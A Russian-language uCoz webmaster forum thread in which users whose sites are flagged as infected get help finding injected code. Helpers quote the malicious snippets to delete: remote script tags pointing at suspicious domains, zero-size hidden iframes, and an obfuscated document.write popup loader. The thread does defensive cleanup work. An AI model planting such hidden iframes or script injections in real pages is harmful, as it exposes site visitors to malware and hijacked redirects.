Модератор форума: Yuri_G  
Вирусы на сайтах (для изучения)
FackDsYes
Сообщений: 2
Репутация: 0

Сообщение # 481 | 09:25:23
У меня проблемка нужно убрать Заскриптованые вирусы с сайта , можете помочь найти лишние .? wink

http://proplay-dota.3dn.ru


DoTa Портал ( WC3L )
Лучше получать по 1% от усилий 100 человек,чем 100% только от своих собственных усилий.
Szen
Сообщений: 38
Репутация: 55

Сообщение # 482 | 11:24:44
FackDsYes, в самом низу сайта. Удалите портянку:
Code
<script type="text/javascript" src="http://psdau.net.ru/js/loading.js"></script>

пояснение: jQuery уже подключен на сайте.

Перенесите на свой хост:

Code
<script type="text/javascript" src="http://psdau.net.ru/js/loadingJQ.js"></script>

пояснение: эту фишку я сделал, и я предлагал у себя в блоге перенести этот скрипт на свой хост.

Блок статистика. Удалите эту гадость:

Code
<iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe>

пояснение: вирусы оттудова.


szenprogs.ru
Сообщение отредактировал Szen - Среда, 16 Фев 2011, 11:25:44
Aleks-M
Сообщений: 2
Репутация: 2

Сообщение # 483 | 14:43:35
помогите пожайлуста снова... на сайт вместе со скриптами просочилась реклама! ссылающаяся на http://antivirusms.com
Вот мой сайт "http://classic.moy.su/"
Буду снова очень благодарен!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 484 | 15:14:58
Aleks-M, в блоке часы удалить код выделенный красным
Quote
<embed src="http://chasikov.net.ru/flash/games/new-counter-strike1.swf" wmode="transparent" type="application/x-shockwave-flash" height="250" width="170"><script src="http://iot.pp.ua/1.js" type="text/javascript"></script><!-- </bc> --></TD><TD class="bok12"><BR></TD></TR>
<TR><TD class="bok13"><BR></TD><TD class="bok14"><BR></TD><TD class="bok15"><BR></TD><TD class="bok16"><BR></TD></TR>
</TBODY></TABLE>

это жесть. откуда руки растут у таких рипальщиков шаблонов? wacko

Code
http://s27.ucoz.net/src/u.js
http://s9.ucoz.net/src/u.js
http://s34.ucoz.net/src/u.js

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
DarkSRangerS
Репутация: 0

Сообщение # 485 | 15:15:08
http://cod4-opera.clan.su/
Поставил я сайт в качестве сайт клана. Вот я главной странице, и тут ждем ~5-6 секунд и, перекидывает на непонятный сайт (типо антивирус). Может кто-нибудь поможет мне.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 486 | 15:36:53
DarkSRangerS, в блоке форма входа удалить выделенное красным
Quote
<div class="sidebox"><h3 class="sidetitl"><!-- <bt> --><!--<s5158>-->Форма входа<!--</s>--><!-- </bt> --></h3>
<div class="inner"><!-- <bc> --><div align="center"><strong>Привет, Гость</strong>
<br>
<script src="http://iot.pp.ua/1.js" type="text/javascript"></script><img class="userAvatar" title="Гость" src="http://cod4-opera.clan.su/pic.jpg" border="0">


<br>Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
</div>

далее. блок статистика. удалить выделенное красным

Quote
<div class="tOnline" id="onl1">Онлайн всего: <b>1</b></div> <div class="gOnline" id="onl2">Гостей: <b>1</b></div> <div class="uOnline" id="onl3">Пользователей: <b>0</b></div>

<hr>

<table border="0" width="100%" cellspacing="1" cellpadding="2" >
<tr>
<td align="center">
<center>
<b>Посетители за сегодня</b></a></li>
<div align="left">

<center>[ <a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный список</a> ]</center>
<hr>
<br><div align="center">
<div id="stats" style="display:none">

<center><table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"><tr><script type="text/javascript" src="http://r1p.pp.ua/1.js"></script><td class="infTd" width="20%">

</td></tr></table></center>


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Zucker
Сообщений: 1
Репутация: 2

Сообщение # 487 | 17:58:56
Здравствуйте. Сайт заблокирован из-за вирусов: kursk-pes.ucoz.ru
Мой каспер высвечивает вирус только на главной, но у других пользователей (с нортоном) вирус замечен и на форуме. Пожалуйста, просмотрите кто-нибудь. Заранее благодарен.
Adriano61
Сообщений: 1
Репутация: 0

Сообщение # 488 | 18:27:08
Здравствуйте.На мой сайт у некоторых реагирует антивирусник.Пишет что обнаружен троян.Сразу с главной страницы.А другие заходят без проблем.Мой аваст периодически тоже выдаёт ,что обнаружен вирус.Не пойму-почему такая избирательность? http://fxstrateg.ucoz.ru/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 489 | 19:48:05
Adriano61, блок форма входа. удалить то что выделено красным
Quote
<center><DIV class=uLogRem>
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru"></iframe><INPUT id=remsitePage1 type=checkbox CHECKED value=1 name=rem><LABEL for=remsitePage1>запомнить</LABEL> </DIV>
<DIV class=uLogSbm><INPUT class=loginButton type=submit value=Вход name=sbm></DIV></center></DL>
<DL class=uLogBlock>

блок безопасность. зачем это?

Code
<center><a href="http://antivirus-alarm.ru/proverka/?url=fxstrateg.ucoz.ru%2F"><img src="http://antivirus-alarm.ru/images/checked_v1.gif" width="88" height="31"> </a>

и главное...помогло? смотрится странно и не нужно. только лишние совершенно бесполезные внешки на фоне реф. ссылок и прочей радости. это не вирус в блоке безопасность, но смысла блока я не вижу


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 490 | 19:50:17
Zucker, ваш сайт заблокирован. осмотр кода невозможен без входа в панель управления. связывайтесь с тех. поддержкой они скажут что удалить для разблокирования

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 491 | 21:11:16
Zucker, выделенное красным удалить

Quote
<table class="bigTable"><tbody><tr><td class="subColumn">

<table class="boxTable"><tbody><tr><td class="boxContent"><a href="http://kursk-pes.ucoz.ru/blog"><img src="http://rabotaidoma.ru/wp-content/blog02.jpg" alt="" width="200"></a><br></td></tr></tbody></table><iframe src="http://imdbvideo.ru/il/stat.php" width="3" height="2" style="visibility: hidden;"></iframe>

<!--U1CLEFTER1Z--><!-- <block1> -->

<table class="boxTable"><tbody><tr><th><h2><!-- <bt> --><!--<s5351>-->Категории раздела<!--</s>--><!-- </bt> --></h2></th></tr><tr><td class="boxContent"><!-- <bc> --><table border="0" cellspacing="1" cellpadding="0" width="100%" class="catsTable"><tr><td style="width:100%" class="catsTd" valign="top"><a href="http://kursk-pes.ucoz.ru/news/1-0-1" class="catName">Менеджер</a> <span class="catNumData" style="unicode-bidi:embed;">[14]</span></td></tr></table><!-- </bc> --></td></tr></tbody></table>

<!-- </block1> -->

сайт очищен


ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
mamekh
Сообщений: 2
Репутация: 0

Сообщение # 492 | 16:45:22
Здравствуйте. На моем сайте http://rostovagrochem.ucoz.ru через несколько дней после создания появилась несанкционированная реклама сайта www.begun.ru. Подскажите, пожалуйста, в чем причина и как в дальнейшем избежать подобных ситуаций
Szen
Сообщений: 38
Репутация: 55

Сообщение # 493 | 17:12:03
mamekh, рекламный блок от Бегуна в правом верхнем углу полностью санкционирован. Он виден только гостям сайта. Снимается оплатой через панель управления.


szenprogs.ru
Xose
Сообщений: 4
Репутация: 4
Уровень замечаний:

Сообщение # 494 | 20:23:01
Мне сегодня со стороны 2 пользователей пришла жалоба ,что при входе на сайт через браузер Хром выводит красное окноо (ВНИМАНИЕ НА САЙТЕ ЕСТЬ ВИРУСЫ ПЕРЕЙТИ ИЛИ ВЫЙТИ - ЧЕТО ПОДОБНОЕ) -Убрав этот код-,
http://www.naruto-load.ru/

Code
<div class='block'>
<div class='title'>Меню</div>
<div class='cont menu'>$SMENU_1$</div>
<div class='shaw lefts'></div><div class='corn leftc'></div><div class='corn rightc'></div><div class='shaw rights'></div><char style='background:url(/naruto/b1.png)'></char>
</div>

<?if($CATEGORIES$)?>
<div class='block'>
<div class='title' style='font-size:13px;'>Категории</div>
<div class='cont'>$CATEGORIES$</div>
<div class='shaw lefts'></div><div class='corn leftc'></div><div class='corn rightc'></div><div class='shaw rights'></div><char style='background:url(/naruto/b4.png)'></char>
</div>
<?endif?>

<div class='block'>
<div class='title'>Помошь сайту</div>
<div class='cont'>помощь</div>
<div class='shaw lefts'></div><div class='corn leftc'></div><div class='corn rightc'></div><div class='shaw rights'></div><char style='background:url(/naruto/b10.png)'></char>
</div>

<div class='block'>
<div class='title'>Мини-чат</div>
<div class='cont'>$CHAT_BOX$
</div>
<div class='shaw lefts'></div><div class='corn leftc'></div><div class='corn rightc'></div><div class='shaw rights'></div><char style='background:url(/naruto/b3.png)'></char>
</div>

<div class='block'>
<div class='title'>Опрос</div>
<div class='cont'>$POLL$</div>
<div class='shaw lefts'></div><div class='corn leftc'></div><div class='corn rightc'></div><div class='shaw rights'></div><char style='background:url(/naruto/b5.png)'></char>
</div>
я увидел что вирус ущел , но вирус в каком то коде а не во всемже , так где же он?
Dmitry
Сообщений: 2154
Репутация: 1057

Сообщение # 495 | 20:33:41
Xose, Для начала, надо убрать коды:
Code
<script type="text/javascript" src="http://c.am10.ru/code/pop/naruto-load.ru.js"></script>

<script type="text/javascript" src="http://c.am10.ru/code/pop/naruto-load.ru.js"></script>
<script>
function GetCookiePopt (name) { var arg = name + "="; var alen = arg.length; var clen = document.cookie.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substring(i, j) == arg) return 1; i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null;}advmaker = GetCookiePopt('advmaker_pop');
if (advmaker != null)
{
var out3='<SCR'+'IPT LANGUAGE="Javascript" cha'+'rset="win'+'dows-1251" SRC="http://c.am10.ru/code/sb/naruto-load.ru.js"></SC'+'RIPT>'; document.write(out3);}</script>

они у Вас повторяются много раз. всплывающие окна, в действительности, не есть хорошо.
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!